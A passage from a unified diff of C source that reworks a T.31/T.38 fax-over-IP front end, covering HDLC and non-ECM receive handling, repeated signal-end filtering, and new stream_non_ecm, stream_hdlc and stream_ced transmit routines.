-            if (s->tx.out_bytes > 0)
-                hdlc_accept((void *) s, fe->hdlc_rx.buf, fe->hdlc_rx.len, TRUE);
-            hdlc_accept((void *) s, NULL, SIG_STATUS_CARRIER_DOWN, TRUE);
+            span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC OK, sig end (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->rx_data_missing)  ?  "missing octets"  :  "clean");
+            crc_itu16_append(fe->hdlc_rx.buf, fe->hdlc_rx.len);
+            hdlc_accept_frame(s, fe->hdlc_rx.buf, fe->hdlc_rx.len, !fe->rx_data_missing);
+            hdlc_rx_status(s, SIG_STATUS_CARRIER_DOWN);
         }
-        s->tx.out_bytes = 0;
-        fe->missing_data = FALSE;
         fe->hdlc_rx.len = 0;
+        fe->rx_data_missing = FALSE;
+        fe->timeout_rx_samples = 0;
         break;
     case T38_FIELD_HDLC_FCS_BAD_SIG_END:
         if (len > 0)
+        {
             span_log(&s->logging, SPAN_LOG_WARNING, "There is data in a T38_FIELD_HDLC_FCS_BAD_SIG_END!\n");
-        span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC bad, sig end (%s)\n", t30_frametype(s->tx.data[2]), (fe->missing_data)  ?  "missing octets"  :  "clean");
-        if (fe->current_rx_type == T31_V21_RX)
-            hdlc_accept((void *) s, NULL, SIG_STATUS_CARRIER_DOWN, TRUE);
+            /* The sender has incorrectly included data in this message. We can safely ignore it, as the
+               bad FCS means we will throw away the whole message, anyway. */
+        }
+        /* Some T.38 implementations send multiple T38_FIELD_HDLC_FCS_BAD_SIG_END messages, in IFP packets with
+           incrementing sequence numbers, which are actually repeats. They get through to this point because
+           of the incrementing sequence numbers. We need to filter them here in a context sensitive manner. */
+        if (t->current_rx_data_type != data_type  ||  t->current_rx_field_type != field_type)
+        {
+            span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC bad, sig end (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->rx_data_missing)  ?  "missing octets"  :  "clean");
+            hdlc_accept_frame(s, fe->hdlc_rx.buf, fe->hdlc_rx.len, FALSE);
+            hdlc_rx_status(s, SIG_STATUS_CARRIER_DOWN);
+        }
         fe->hdlc_rx.len = 0;
-        fe->missing_data = FALSE;
+        fe->rx_data_missing = FALSE;
+        fe->timeout_rx_samples = 0;
         break;
     case T38_FIELD_HDLC_SIG_END:
         if (len > 0)
+        {
             span_log(&s->logging, SPAN_LOG_WARNING, "There is data in a T38_FIELD_HDLC_SIG_END!\n");
-        /* This message is expected under 2 circumstances. One is as an alternative to T38_FIELD_HDLC_FCS_OK_SIG_END - 
-           i.e. they send T38_FIELD_HDLC_FCS_OK, and then T38_FIELD_HDLC_SIG_END when the carrier actually drops.
-           The other is because the HDLC signal drops unexpectedly - i.e. not just after a final frame. */
-        if (fe->current_rx_type == T31_V21_RX)
-            hdlc_accept((void *) s, NULL, SIG_STATUS_CARRIER_DOWN, TRUE);
-        fe->hdlc_rx.len = 0;
-        fe->missing_data = FALSE;
+            /* The sender has incorrectly included data in this message, but there seems nothing meaningful
+               it could be. There could not be an FCS good/bad report beyond this. */
+        }
+        /* Some T.38 implementations send multiple T38_FIELD_HDLC_SIG_END messages, in IFP packets with
+           incrementing sequence numbers, which are actually repeats. They get through to this point because
+           of the incrementing sequence numbers. We need to filter them here in a context sensitive manner. */
+        if (t->current_rx_data_type != data_type  ||  t->current_rx_field_type != field_type)
+        {
+            /* WORKAROUND: At least some Mediatrix boxes have a bug, where they can send this message at the
+                           end of non-ECM data. We need to tolerate this. We use the generic receive complete
+                           indication, rather than the specific HDLC carrier down. */
+            /* This message is expected under 2 circumstances. One is as an alternative to T38_FIELD_HDLC_FCS_OK_SIG_END - 
+               i.e. they send T38_FIELD_HDLC_FCS_OK, and then T38_FIELD_HDLC_SIG_END when the carrier actually drops.
+               The other is because the HDLC signal drops unexpectedly - i.e. not just after a final frame. */
+            fe->hdlc_rx.len = 0;
+            fe->rx_data_missing = FALSE;
+            fe->timeout_rx_samples = 0;
+            hdlc_rx_status(s, SIG_STATUS_CARRIER_DOWN);
+        }
         break;
     case T38_FIELD_T4_NON_ECM_DATA:
         if (!s->at_state.rx_signal_present)
         {
-            /* TODO: report training succeeded */
+            non_ecm_rx_status(s, SIG_STATUS_TRAINING_SUCCEEDED);
             s->at_state.rx_signal_present = TRUE;
         }
-        bit_reverse(buf2, buf, len);
-        /* TODO: put the chunk */
+        if (len > 0)
+        {
+            bit_reverse(buf2, buf, len);
+            non_ecm_put_chunk(s, buf, len);
+        }
         fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
         break;
     case T38_FIELD_T4_NON_ECM_SIG_END:
@@ -386,25 +586,50 @@
             {
                 if (!s->at_state.rx_signal_present)
                 {
-                    /* TODO: report training succeeded */
+                    non_ecm_rx_status(s, SIG_STATUS_TRAINING_SUCCEEDED);
                     s->at_state.rx_signal_present = TRUE;
                 }
                 bit_reverse(buf2, buf, len);
-                /* TODO: put the chunk */
+                non_ecm_put_chunk(s, buf, len);
             }
             /* WORKAROUND: At least some Mediatrix boxes have a bug, where they can send HDLC signal end where
                            they should send non-ECM signal end. It is possible they also do the opposite.
                            We need to tolerate this, so we use the generic receive complete
                            indication, rather than the specific non-ECM carrier down. */
-            /* TODO: report receive complete */
+            non_ecm_rx_status(s, SIG_STATUS_CARRIER_DOWN);
         }
         s->at_state.rx_signal_present = FALSE;
         fe->timeout_rx_samples = 0;
         break;
     case T38_FIELD_CM_MESSAGE:
+        if (len >= 1)
+            span_log(&s->logging, SPAN_LOG_FLOW, "CM profile %d - %s\n", buf[0] - '0', t38_cm_profile_to_str(buf[0]));
+        else
+            span_log(&s->logging, SPAN_LOG_FLOW, "Bad length for CM message - %d\n", len);
+        break;
     case T38_FIELD_JM_MESSAGE:
+        if (len >= 2)
+            span_log(&s->logging, SPAN_LOG_FLOW, "JM - %s\n", t38_jm_to_str(buf, len));
+        else
+            span_log(&s->logging, SPAN_LOG_FLOW, "Bad length for JM message - %d\n", len);
+        break;
     case T38_FIELD_CI_MESSAGE:
+        if (len >= 1)
+            span_log(&s->logging, SPAN_LOG_FLOW, "CI 0x%X\n", buf[0]);
+        else
+            span_log(&s->logging, SPAN_LOG_FLOW, "Bad length for CI message - %d\n", len);
+        break;
     case T38_FIELD_V34RATE:
+        if (len >= 3)
+        {
+            fe->t38.v34_rate = t38_v34rate_to_bps(buf, len);
+            span_log(&s->logging, SPAN_LOG_FLOW, "V.34 rate %d bps\n", fe->t38.v34_rate);
+        }
+        else
+        {
+            span_log(&s->logging, SPAN_LOG_FLOW, "Bad length for V34rate message - %d\n", len);
+        }
+        break;
     default:
         break;
     }
@@ -412,248 +637,407 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t31_t38_send_timeout(t31_state_t *s, int samples)
+static void send_hdlc(void *user_data, const uint8_t *msg, int len)
 {
-    int len;
-    int i;
-    int previous;
-    uint8_t buf[MAX_OCTETS_PER_UNPACED_CHUNK + 50];
-    t31_t38_front_end_state_t *fe;
-    t38_data_field_t data_fields[2];
-    /* The times for training, the optional TEP, and the HDLC preamble, for all the modem options, in ms.
-       Note that the preamble for V.21 is 1s+-15%, and for the other modems is 200ms+100ms. */
-    static const struct
+    t31_state_t *s;
+
+    s = (t31_state_t *) user_data;
+    if (len <= 0)
     {
-        int tep;
-        int training;
-        int flags;
-    } startup_time[] =
+        s->hdlc_tx.len = -1;
+    }
+    else
     {
-        {   0,    0,    0},     /* T38_IND_NO_SIGNAL */
-        {   0,    0,    0},     /* T38_IND_CNG */
-        {   0,    0,    0},     /* T38_IND_CED */
-        {   0,    0, 1000},     /* T38_IND_V21_PREAMBLE */ /* TODO: 850ms should be OK for this, but it causes trouble with some ATAs. Why? */
-        { 215,  943,  200},     /* T38_IND_V27TER_2400_TRAINING */
-        { 215,  708,  200},     /* T38_IND_V27TER_4800_TRAINING */
-        { 215,  234,  200},     /* T38_IND_V29_7200_TRAINING */
-        { 215,  234,  200},     /* T38_IND_V29_9600_TRAINING */
-        { 215,  142,  200},     /* T38_IND_V17_7200_SHORT_TRAINING */
-        { 215, 1393,  200},     /* T38_IND_V17_7200_LONG_TRAINING */
-        { 215,  142,  200},     /* T38_IND_V17_9600_SHORT_TRAINING */
-        { 215, 1393,  200},     /* T38_IND_V17_9600_LONG_TRAINING */
-        { 215,  142,  200},     /* T38_IND_V17_12000_SHORT_TRAINING */
-        { 215, 1393,  200},     /* T38_IND_V17_12000_LONG_TRAINING */
-        { 215,  142,  200},     /* T38_IND_V17_14400_SHORT_TRAINING */
-        { 215, 1393,  200},     /* T38_IND_V17_14400_LONG_TRAINING */
-        { 215,    0,    0},     /* T38_IND_V8_ANSAM */
-        { 215,    0,    0},     /* T38_IND_V8_SIGNAL */
-        { 215,    0,    0},     /* T38_IND_V34_CNTL_CHANNEL_1200 */
-        { 215,    0,    0},     /* T38_IND_V34_PRI_CHANNEL */
-        { 215,    0,    0},     /* T38_IND_V34_CC_RETRAIN */
-        { 215,    0,    0},     /* T38_IND_V33_12000_TRAINING */
-        { 215,    0,    0}      /* T38_IND_V33_14400_TRAINING */
-    };
+        s->t38_fe.hdlc_tx.extra_bits = extra_bits_in_stuffed_frame(msg, len);
+        bit_reverse(s->hdlc_tx.buf, msg, len);
+        s->hdlc_tx.len = len;
+        s->hdlc_tx.ptr = 0;
+    }
+}
+/*- End of function --------------------------------------------------------*/
 
-    fe = &s->t38_fe;
-    if (fe->current_rx_type == T30_MODEM_DONE  ||  fe->current_tx_type == T30_MODEM_DONE)
-        return TRUE;
+static __inline__ int bits_to_us(t31_state_t *s, int bits)
+{
+    if (s->t38_fe.ms_per_tx_chunk == 0  ||  s->t38_fe.tx_bit_rate == 0)
+        return 0;
+    return bits*1000000/s->t38_fe.tx_bit_rate;
+}
+/*- End of function --------------------------------------------------------*/
 
-    fe->samples += samples;
-    if (fe->timeout_rx_samples  &&  fe->samples > fe->timeout_rx_samples)
+static void set_octets_per_data_packet(t31_state_t *s, int bit_rate)
+{
+    s->t38_fe.tx_bit_rate = bit_rate;
+    if (s->t38_fe.ms_per_tx_chunk)
     {
-        span_log(&s->logging, SPAN_LOG_FLOW, "Timeout mid-receive\n");
-        fe->timeout_rx_samples = 0;
-        /* TODO: report completion */
+        s->t38_fe.octets_per_data_packet = s->t38_fe.ms_per_tx_chunk*bit_rate/(8*1000);
+        /* Make sure we have a positive number (i.e. we didn't truncate to zero). */
+        if (s->t38_fe.octets_per_data_packet < 1)
+            s->t38_fe.octets_per_data_packet = 1;
     }
-    if (fe->timed_step == T38_TIMED_STEP_NONE)
-        return FALSE;
-    if (fe->samples < fe->next_tx_samples)
-        return FALSE;
-    /* Its time to send something */
-    switch (fe->timed_step)
+    else
     {
-    case T38_TIMED_STEP_NON_ECM_MODEM:
-        /* Create a 75ms silence */
-        if (fe->t38.current_tx_indicator != T38_IND_NO_SIGNAL)
-            t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_2;
-        fe->next_tx_samples += ms_to_samples(75);
-        break;
-    case T38_TIMED_STEP_NON_ECM_MODEM_2:
-        /* Switch on a fast modem, and give the training time to complete */
-        t38_core_send_indicator(&fe->t38, fe->next_tx_indicator, fe->t38.indicator_tx_count);
-        fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_3;
-        fe->next_tx_samples += ms_to_samples(startup_time[fe->next_tx_indicator].training);
-        if (s->audio.modems.use_tep)
-            fe->next_tx_samples += ms_to_samples(startup_time[fe->next_tx_indicator].tep);
-        break;
-    case T38_TIMED_STEP_NON_ECM_MODEM_3:
-        /* Send a chunk of non-ECM image data */
-        /* T.38 says it is OK to send the last of the non-ECM data in the signal end message.
-           However, I think the early versions of T.38 said the signal end message should not
-           contain data. Hopefully, following the current spec will not cause compatibility
-           issues. */
-        /* Get a chunk of data */
-        len = fe->octets_per_data_packet;
-        bit_reverse(buf, buf, len);
-        if (len < fe->octets_per_data_packet)
+        s->t38_fe.octets_per_data_packet = MAX_OCTETS_PER_UNPACED_CHUNK;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+static int stream_non_ecm(t31_state_t *s)
+{
+    t31_t38_front_end_state_t *fe;
+    uint8_t buf[MAX_OCTETS_PER_UNPACED_CHUNK + 50];
+    int delay;
+    int len;
+
+    fe = &s->t38_fe;
+    for (delay = 0;  delay == 0;  )
+    {
+        switch (fe->timed_step)
         {
-            /* That's the end of the image data. Do a little padding now */
-            memset(buf + len, 0, fe->octets_per_data_packet - len);
-            fe->trailer_bytes = 3*fe->octets_per_data_packet + len;
+        case T38_TIMED_STEP_NON_ECM_MODEM:
+            /* Create a 75ms silence */
+            if (fe->t38.current_tx_indicator != T38_IND_NO_SIGNAL)
+                delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_2;
+            fe->next_tx_samples = fe->samples;
+            break;
+        case T38_TIMED_STEP_NON_ECM_MODEM_2:
+            /* Switch on a fast modem, and give the training time to complete */
+            delay = t38_core_send_indicator(&fe->t38, fe->next_tx_indicator);
+            fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_3;
+            break;
+        case T38_TIMED_STEP_NON_ECM_MODEM_3:
+            /* Send a chunk of non-ECM image data */
+            /* T.38 says it is OK to send the last of the non-ECM data in the signal end message.
+               However, I think the early versions of T.38 said the signal end message should not
+               contain data. Hopefully, following the current spec will not cause compatibility
+               issues. */
+            len = non_ecm_get_chunk(s, buf, fe->octets_per_data_packet);
+            if (len > 0)
+                bit_reverse(buf, buf, len);
+            if (len < fe->octets_per_data_packet)
+            {
+                /* That's the end of the image data. */
+                if (s->t38_fe.ms_per_tx_chunk)
+                {
+                    /* Pad the end of the data with some zeros. If we just stop abruptly
+                       at the end of the EOLs, some ATAs fail to clean up properly before
+                       shutting down their transmit modem, and the last few rows of the image
+                       are lost or corrupted. Simply delaying the no-signal message does not
+                       help for all implentations. It is usually ignored, which is probably
+                       the right thing to do after receiving a message saying the signal has
+                       ended. */
+                    memset(buf + len, 0, fe->octets_per_data_packet - len);
+                    fe->non_ecm_trailer_bytes = 3*fe->octets_per_data_packet + len;
+                    len = fe->octets_per_data_packet;
+                    fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_4;
+                }
+                else
+                {
+                    /* If we are sending quickly there seems no point in doing any padding */
+                    t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_SIG_END, buf, len, T38_PACKET_CATEGORY_IMAGE_DATA_END);
+                    fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_5;
+                    delay = 0;
+                }
+            }
+            t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, buf, len, T38_PACKET_CATEGORY_IMAGE_DATA);
+            delay = bits_to_us(s, 8*len);
+            break;
+        case T38_TIMED_STEP_NON_ECM_MODEM_4:
+            /* Send padding */
             len = fe->octets_per_data_packet;
-            fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_4;
-        }
-        t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, buf, len, DATA_TX_COUNT);
-        fe->next_tx_samples += ms_to_samples(fe->ms_per_tx_chunk);
-        break;
-    case T38_TIMED_STEP_NON_ECM_MODEM_4:
-        /* This pads the end of the data with some zeros. If we just stop abruptly
-           at the end of the EOLs, some ATAs fail to clean up properly before
-           shutting down their transmit modem, and the last few rows of the image
-           get corrupted. Simply delaying the no-signal message does not help for
-           all implentations. It often appears to be ignored. */
-        len = fe->octets_per_data_packet;
-        fe->trailer_bytes -= len;
-        if (fe->trailer_bytes <= 0)
-        {
-            len += fe->trailer_bytes;
+            fe->non_ecm_trailer_bytes -= len;
+            if (fe->non_ecm_trailer_bytes <= 0)
+            {
+                len += fe->non_ecm_trailer_bytes;
+                memset(buf, 0, len);
+                t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_SIG_END, buf, len, T38_PACKET_CATEGORY_IMAGE_DATA_END);
+                fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_5;
+                /* Allow a bit more time than the data will take to play out, to ensure the far ATA does not
+                   cut things short. */
+                delay = bits_to_us(s, 8*len);
+                if (s->t38_fe.ms_per_tx_chunk)
+                    delay += 60000;
+                front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+                break;
+            }
             memset(buf, 0, len);
-            t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_SIG_END, buf, len, fe->data_end_tx_count);
-            fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_5;
-            fe->next_tx_samples += ms_to_samples(60);
+            t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, buf, len, T38_PACKET_CATEGORY_IMAGE_DATA);
+            delay = bits_to_us(s, 8*len);
             break;
+        case T38_TIMED_STEP_NON_ECM_MODEM_5:
+            /* This should not be needed, since the message above indicates the end of the signal, but it
+               seems like it can improve compatibility with quirky implementations. */
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            fe->timed_step = T38_TIMED_STEP_NONE;
+            return delay;
         }
-        memset(buf, 0, len);
-        t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, buf, len, DATA_TX_COUNT);
-        fe->next_tx_samples += ms_to_samples(fe->ms_per_tx_chunk);
-        break;
-    case T38_TIMED_STEP_NON_ECM_MODEM_5:
-        /* This should not be needed, since the message above indicates the end of the signal, but it
-           seems like it can improve compatibility with quirky implementations. */
-        t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        fe->timed_step = T38_TIMED_STEP_NONE;
-        /* TODO: report send complete */
-        break;
-    case T38_TIMED_STEP_HDLC_MODEM:
-        /* Send HDLC preambling */
-        t38_core_send_indicator(&fe->t38, fe->next_tx_indicator, fe->t38.indicator_tx_count);
-        fe->next_tx_samples += ms_to_samples(startup_time[fe->next_tx_indicator].training + startup_time[fe->next_tx_indicator].flags);
-        if (s->audio.modems.use_tep)
-            fe->next_tx_samples += ms_to_samples(startup_time[fe->next_tx_indicator].tep);
-        fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_2;
-        break;
-    case T38_TIMED_STEP_HDLC_MODEM_2:
-        /* Send a chunk of HDLC data */
-        i = s->hdlc_tx.len - s->hdlc_tx.ptr;
-        if (fe->octets_per_data_packet >= i)
+    }
+    return delay;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int stream_hdlc(t31_state_t *s)
+{
+    t31_t38_front_end_state_t *fe;
+    uint8_t buf[MAX_OCTETS_PER_UNPACED_CHUNK + 50];
+    t38_data_field_t data_fields[2];
+    int previous;
+    int delay;
+    int i;
+    int category;
+
+    fe = &s->t38_fe;
+    for (delay = 0;  delay == 0;  )
+    {
+        switch (fe->timed_step)
         {
-            /* The last part of the HDLC frame */
-            if (fe->merge_tx_fields)
+        case T38_TIMED_STEP_HDLC_MODEM:
+            /* Create a 75ms silence */
+            if (fe->t38.current_tx_indicator != T38_IND_NO_SIGNAL)
+                delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_2;
+            fe->next_tx_samples = fe->samples + ms_to_samples(75);
+            break;
+        case T38_TIMED_STEP_HDLC_MODEM_2:
+            /* Send HDLC preambling */
+            delay = t38_core_send_indicator(&fe->t38, fe->next_tx_indicator);
+            delay += t38_core_send_flags_delay(&fe->t38, fe->next_tx_indicator);
+            at_put_response_code(&s->at_state, AT_RESPONSE_CODE_CONNECT);
+            fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_3;
+            break;
+        case T38_TIMED_STEP_HDLC_MODEM_3:
+            /* Send a chunk of HDLC data */
+            if (s->hdlc_tx.len == 0)
             {
-                /* Copy the data, as we might be about to refill the buffer it is in */
-                memcpy(buf, &s->hdlc_tx.buf[s->hdlc_tx.ptr], i);
-                data_fields[0].field_type = T38_FIELD_HDLC_DATA;
-                data_fields[0].field = buf;
-                data_fields[0].field_len = i;
+                /* We don't have a frame ready yet, so wait a little */
+                delay = MS_PER_TX_CHUNK*1000;
+                break;
+            }
+            i = s->hdlc_tx.len - s->hdlc_tx.ptr;
+            if (fe->octets_per_data_packet >= i)
+            {
+                /* The last part of an HDLC frame */
+                if (fe->chunking_modes & T38_CHUNKING_MERGE_FCS_WITH_DATA)
+                {
+                    /* Copy the data, as we might be about to refill the buffer it is in */
+                    memcpy(buf, &s->hdlc_tx.buf[s->hdlc_tx.ptr], i);
+                    data_fields[0].field_type = T38_FIELD_HDLC_DATA;
+                    data_fields[0].field = buf;
+                    data_fields[0].field_len = i;
 
-                /* Now see about the next HDLC frame. This will tell us whether to send FCS_OK or FCS_OK_SIG_END */
-                previous = fe->current_tx_data_type;
-                s->hdlc_tx.ptr = 0;
-                s->hdlc_tx.len = 0;
-                /* TODO: report completion */
-                /* The above step should have got the next HDLC step ready - either another frame, or an instruction to stop transmission. */
-                if (s->hdlc_tx.len < 0)
-                {
-                    data_fields[1].field_type = T38_FIELD_HDLC_FCS_OK_SIG_END;
-                    fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_4;
+                    /* Now see about the next HDLC frame. This will tell us whether to send FCS_OK or FCS_OK_SIG_END */
+                    previous = fe->current_tx_data_type;
+                    s->hdlc_tx.ptr = 0;
+                    s->hdlc_tx.len = 0;
+                    front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+                    if (s->hdlc_tx.final)
+                    {
+                        data_fields[1].field_type = T38_FIELD_HDLC_FCS_OK_SIG_END;
+                        data_fields[1].field = NULL;
+                        data_fields[1].field_len = 0;
+                        category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA_END  :  T38_PACKET_CATEGORY_IMAGE_DATA_END;
+                        t38_core_send_data_multi_field(&fe->t38, fe->current_tx_data_type, data_fields, 2, category);
+                        fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_5;
+                        /* We add a bit of extra time here, as with some implementations
+                           the carrier falling too abruptly causes data loss. */
+                        delay = bits_to_us(s, i*8 + fe->hdlc_tx.extra_bits);
+                        if (s->t38_fe.ms_per_tx_chunk)
+                            delay += 100000;
+                        at_put_response_code(&s->at_state, AT_RESPONSE_CODE_OK);
+                        t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
+                    }
+                    else
+                    {
+                        data_fields[1].field_type = T38_FIELD_HDLC_FCS_OK;
+                        data_fields[1].field = NULL;
+                        data_fields[1].field_len = 0;
+                        category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+                        t38_core_send_data_multi_field(&fe->t38, fe->current_tx_data_type, data_fields, 2, category);
+                        fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_3;
+                        delay = bits_to_us(s, i*8 + fe->hdlc_tx.extra_bits);
+                        at_put_response_code(&s->at_state, AT_RESPONSE_CODE_CONNECT);
+                    }
+                    break;
                 }
-                else
-                {
-                    data_fields[1].field_type = T38_FIELD_HDLC_FCS_OK;
-                    fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_2;
-                }
-                data_fields[1].field = NULL;
-                data_fields[1].field_len = 0;
-                t38_core_send_data_multi_field(&fe->t38, fe->current_tx_data_type, data_fields, 2, DATA_TX_COUNT);
+                category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+                t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_HDLC_DATA, &s->hdlc_tx.buf[s->hdlc_tx.ptr], i, category);
+                fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_4;
             }
             else
             {
-                t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_HDLC_DATA, &s->hdlc_tx.buf[s->hdlc_tx.ptr], i, DATA_TX_COUNT);
-                fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_3;
+                i = fe->octets_per_data_packet;
+                category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+                t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_HDLC_DATA, &s->hdlc_tx.buf[s->hdlc_tx.ptr], i, category);
+                s->hdlc_tx.ptr += i;
             }
-            fe->next_tx_samples += ms_to_samples(fe->ms_per_tx_chunk);
+            delay = bits_to_us(s, i*8);
             break;
+        case T38_TIMED_STEP_HDLC_MODEM_4:
+            /* End of HDLC frame */
+            previous = fe->current_tx_data_type;
+            s->hdlc_tx.ptr = 0;
+            s->hdlc_tx.len = 0;
+            if (s->hdlc_tx.final)
+            {
+                /* End of transmission */
+                s->hdlc_tx.len = 0;
+                s->hdlc_tx.final = FALSE;
+                category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+                t38_core_send_data(&fe->t38, previous, T38_FIELD_HDLC_FCS_OK, NULL, 0, category);
+                fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_5;
+                /* We add a bit of extra time here, as with some implementations
+                   the carrier falling too abruptly causes data loss. */
+                delay = bits_to_us(s, fe->hdlc_tx.extra_bits);
+                if (s->t38_fe.ms_per_tx_chunk)
+                    delay += 100000;
+                front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+                break;
+            }
+            /* Finish the current frame off, and prepare for the next one. */
+            category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+            t38_core_send_data(&fe->t38, previous, T38_FIELD_HDLC_FCS_OK, NULL, 0, category);
+            fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_3;
+            at_put_response_code(&s->at_state, AT_RESPONSE_CODE_CONNECT);
+            /* We should now wait enough time for everything to clear through an analogue modem at the far end. */
+            delay = bits_to_us(s, fe->hdlc_tx.extra_bits);
+            if (s->hdlc_tx.len == 0)
+                span_log(&s->logging, SPAN_LOG_FLOW, "No new frame or end transmission condition.\n");
+            break;
+        case T38_TIMED_STEP_HDLC_MODEM_5:
+            /* Note that some boxes do not like us sending a T38_FIELD_HDLC_SIG_END at this point.
+               A T38_IND_NO_SIGNAL should always be OK. */
+            category = (s->t38_fe.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA_END  :  T38_PACKET_CATEGORY_IMAGE_DATA_END;
+            t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_HDLC_SIG_END, NULL, 0, category);
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            fe->timed_step = T38_TIMED_STEP_NONE;
+            at_put_response_code(&s->at_state, AT_RESPONSE_CODE_OK);
+            t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
+            return 0;
         }
-        t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_HDLC_DATA, &s->hdlc_tx.buf[s->hdlc_tx.ptr], fe->octets_per_data_packet, DATA_TX_COUNT);
-        s->hdlc_tx.ptr += fe->octets_per_data_packet;
-        fe->next_tx_samples += ms_to_samples(fe->ms_per_tx_chunk);
-        break;
-    case T38_TIMED_STEP_HDLC_MODEM_3:
-        /* End of HDLC frame */
-        previous = fe->current_tx_data_type;
-        s->hdlc_tx.ptr = 0;
-        s->hdlc_tx.len = 0;
-        /* TODO: report completion */
-        /* The above step should have got the next HDLC step ready - either another frame, or an instruction to stop transmission. */
-        if (s->hdlc_tx.len < 0)
+    }
+    return delay;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int stream_ced(t31_state_t *s)
+{
+    t31_t38_front_end_state_t *fe;
+    int delay;
+
+    fe = &s->t38_fe;
+    for (delay = 0;  delay == 0;  )
+    {
+        switch (fe->timed_step)
         {
-            t38_core_send_data(&fe->t38, previous, T38_FIELD_HDLC_FCS_OK_SIG_END, NULL, 0, fe->data_end_tx_count);
-            fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_4;
-            fe->next_tx_samples += ms_to_samples(100);
+        case T38_TIMED_STEP_CED:
+            /* It seems common practice to start with a no signal indicator, though
+               this is not a specified requirement. Since we should be sending 200ms
+               of silence, starting the delay with a no signal indication makes sense.
+               We do need a 200ms delay, as that is a specification requirement. */
+            fe->timed_step = T38_TIMED_STEP_CED_2;
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            delay = 200000;
+            fe->next_tx_samples = fe->samples;
             break;
+        case T38_TIMED_STEP_CED_2:
+            /* Initial 200ms delay over. Send the CED indicator */
+            fe->timed_step = T38_TIMED_STEP_CED_3;
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_CED);
+            fe->current_tx_data_type = T38_DATA_NONE;
+            break;
+        case T38_TIMED_STEP_CED_3:
+            /* End of CED */
+            fe->timed_step = T38_TIMED_STEP_NONE;
+            front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
+            return 0;
         }
